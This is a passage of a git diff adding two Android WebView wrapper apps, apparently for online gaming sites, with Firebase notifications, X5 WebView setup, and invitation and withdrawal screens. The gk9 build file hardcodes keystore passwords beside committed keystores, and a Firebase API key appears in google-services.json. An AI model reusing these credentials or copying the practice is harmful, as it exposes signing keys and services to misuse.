+# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/gg66au/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/gg66au/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/gg66au/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/gg66au/src/main/AndroidManifest.xml b/gg66au/src/main/AndroidManifest.xml new file mode 100644 index 0000000..c833261 --- /dev/null +++ b/gg66au/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/gg66au/src/main/java/com/xyz/gg66au/MainActivity.java b/gg66au/src/main/java/com/xyz/gg66au/MainActivity.java new file mode 100644 index 0000000..d19a095 --- /dev/null +++ b/gg66au/src/main/java/com/xyz/gg66au/MainActivity.java @@ -0,0 +1,63 @@ +package com.xyz.gg66au; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import androidx.annotation.NonNull; + +import com.bumptech.glide.Glide; +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 198; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://gg66au.net/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#090c13"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#040507"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); +// showTopV1.setImageResource(R.mipmap.start_gifs); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + } + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/gg66au/src/main/java/com/xyz/gg66au/MyFirebaseMessageingService.java b/gg66au/src/main/java/com/xyz/gg66au/MyFirebaseMessageingService.java new file mode 100644 index 0000000..9931858 --- /dev/null +++ b/gg66au/src/main/java/com/xyz/gg66au/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.xyz.gg66au; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/gg66au/src/main/java/com/xyz/gg66au/WebApplication.java b/gg66au/src/main/java/com/xyz/gg66au/WebApplication.java new file mode 100644 index 0000000..409b7d6 --- /dev/null +++ b/gg66au/src/main/java/com/xyz/gg66au/WebApplication.java @@ -0,0 +1,35 @@ +package com.xyz.gg66au; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/gg66au/src/main/res/drawable-anydpi/ic_action_back.xml b/gg66au/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/gg66au/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/gg66au/src/main/res/drawable-hdpi/ic_action_back.png b/gg66au/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/gg66au/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/gg66au/src/main/res/drawable-mdpi/ic_action_back.png b/gg66au/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/gg66au/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/gg66au/src/main/res/drawable-v24/ic_launcher_foreground.xml b/gg66au/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/gg66au/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/gg66au/src/main/res/drawable-xhdpi/ic_action_back.png b/gg66au/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/gg66au/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/gg66au/src/main/res/drawable-xxhdpi/ic_action_back.png b/gg66au/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/gg66au/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/gg66au/src/main/res/drawable/big_bg.xml b/gg66au/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..80a3a90 --- /dev/null +++ b/gg66au/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/gg66au/src/main/res/drawable/ic_launcher_background.xml b/gg66au/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/gg66au/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/gg66au/src/main/res/drawable/input_bg.xml b/gg66au/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/gg66au/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/gg66au/src/main/res/drawable/pass_word_bg.xml b/gg66au/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/gg66au/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/gg66au/src/main/res/drawable/pass_word_bg1.xml b/gg66au/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/gg66au/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/gg66au/src/main/res/drawable/pass_word_bg2.xml b/gg66au/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/gg66au/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/gg66au/src/main/res/drawable/shape_btn_bg.xml b/gg66au/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/gg66au/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/gg66au/src/main/res/drawable/shape_dialog_bg2.xml b/gg66au/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/gg66au/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/gg66au/src/main/res/drawable/shape_dialog_bg3.xml b/gg66au/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/gg66au/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/gg66au/src/main/res/drawable/shape_dialog_bg_new.xml b/gg66au/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/gg66au/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/gg66au/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/gg66au/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/gg66au/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/gg66au/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/gg66au/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/gg66au/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/gg66au/src/main/res/mipmap-hdpi/ic_empty.png b/gg66au/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/gg66au/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/gg66au/src/main/res/mipmap-hdpi/ic_pull_down.png b/gg66au/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/gg66au/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/gg66au/src/main/res/mipmap-xhdpi/ic_close.png b/gg66au/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/gg66au/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/gg66au/src/main/res/mipmap-xhdpi/ic_menu.png b/gg66au/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/gg66au/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/gg66au/src/main/res/mipmap-xxhdpi/app_logo.png b/gg66au/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..683f342 Binary files /dev/null and b/gg66au/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/gg66au/src/main/res/values-en/strings.xml b/gg66au/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/gg66au/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/gg66au/src/main/res/values-night/themes.xml b/gg66au/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/gg66au/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/gg66au/src/main/res/values/colors.xml b/gg66au/src/main/res/values/colors.xml new file mode 100644 index 0000000..28f7e57 --- /dev/null +++ b/gg66au/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #090c13 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/gg66au/src/main/res/values/strings.xml b/gg66au/src/main/res/values/strings.xml new file mode 100644 index 0000000..1daa4f1 --- /dev/null +++ b/gg66au/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + GG66au + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/gg66au/src/main/res/values/themes.xml b/gg66au/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/gg66au/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/gg66au/src/main/res/xml/app_updater_paths.xml b/gg66au/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/gg66au/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/gg66au/src/main/res/xml/network_security_config.xml b/gg66au/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/gg66au/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/gg66au/src/main/res/xml/provider_paths.xml b/gg66au/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/gg66au/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/gg66au/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/gg66au/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/gg66au/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/gk9/.gitignore b/gk9/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/gk9/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/gk9/build.gradle b/gk9/build.gradle new file mode 100644 index 0000000..3bd847a --- /dev/null +++ b/gk9/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.gk9" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "gk9" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/gk9/dskjweb.jks b/gk9/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/gk9/dskjweb.jks differ diff --git a/gk9/google-services.json b/gk9/google-services.json new file mode 100644 index 0000000..645afe3 --- /dev/null +++ b/gk9/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "1002658508661", + "project_id": "gk9s-ef6e3", + "storage_bucket": "gk9s-ef6e3.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:1002658508661:android:4f7327b5cc3afda2f52d3c", + "android_client_info": { + "package_name": "com.web.gk9" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyCkpYivy5OwFJgwlJFRHtwbNiWYJQmEvA0" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/gk9/ppn.jks b/gk9/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/gk9/ppn.jks differ diff --git a/gk9/proguard-rules.pro b/gk9/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/gk9/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/gk9/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/gk9/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/gk9/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/gk9/src/main/AndroidManifest.xml b/gk9/src/main/AndroidManifest.xml new file mode 100644 index 0000000..68fdb5a --- /dev/null +++ b/gk9/src/main/AndroidManifest.xml @@ -0,0 +1,98 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/gk9/src/main/java/com/web/gk9/MainActivity.java b/gk9/src/main/java/com/web/gk9/MainActivity.java new file mode 100644 index 0000000..3020a51 --- /dev/null +++ b/gk9/src/main/java/com/web/gk9/MainActivity.java @@ -0,0 +1,63 @@ +package com.web.gk9; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import androidx.annotation.NonNull; + +import com.bumptech.glide.Glide; +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 213; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://gk9my.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#FFFFFF"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#FFFFFF"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",0); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色t + setBackDrawables(R.drawable.big_bg); + setImageView(false); + showTopV1.setImageResource(R.mipmap.app_logo1); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + } + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/gk9/src/main/java/com/web/gk9/MyFirebaseMessageingService.java b/gk9/src/main/java/com/web/gk9/MyFirebaseMessageingService.java new file mode 100644 index 0000000..0595037 --- /dev/null +++ b/gk9/src/main/java/com/web/gk9/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.gk9; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; 